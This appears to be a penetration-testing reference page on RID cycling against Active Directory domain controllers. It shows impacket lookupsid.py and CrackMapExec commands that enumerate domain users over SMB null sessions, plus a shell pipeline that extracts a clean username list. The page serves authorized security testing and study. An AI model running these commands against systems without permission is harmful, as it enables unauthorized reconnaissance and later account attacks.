> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/rid-cycling.md).

# RID Cycling

* <https://www.trustedsec.com/blog/new-tool-release-rpc_enum-rid-cycling-attack/>

Perform RID cycling attack against a DC with SMB null sessions allowed with [lookupsid.py](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py):

```
$ lookupsid.py MEGACORP/snovvcrash:'Passw0rd!'@127.0.0.1 20000 [-domain-sids] | tee ~/ws/log/lookupsid.out
$ cat ~/ws/log/lookupsid.out | grep SidTypeUser | grep -v -e krbtgt -e '\$' -e '{' -e '}' -e HealthMailbox | grep -Ev 'SM_[a-f0-9]{17}' | awk -F'\' '{print $2}' | awk '{print $1}' | perl -nle 'print if m{^[[:ascii:]]+$}' > ~/ws/enum/all-users.txt
```

With CrackMapExec:

```
$ cme smb 192.168.1.11 -u '' -p '' --users
```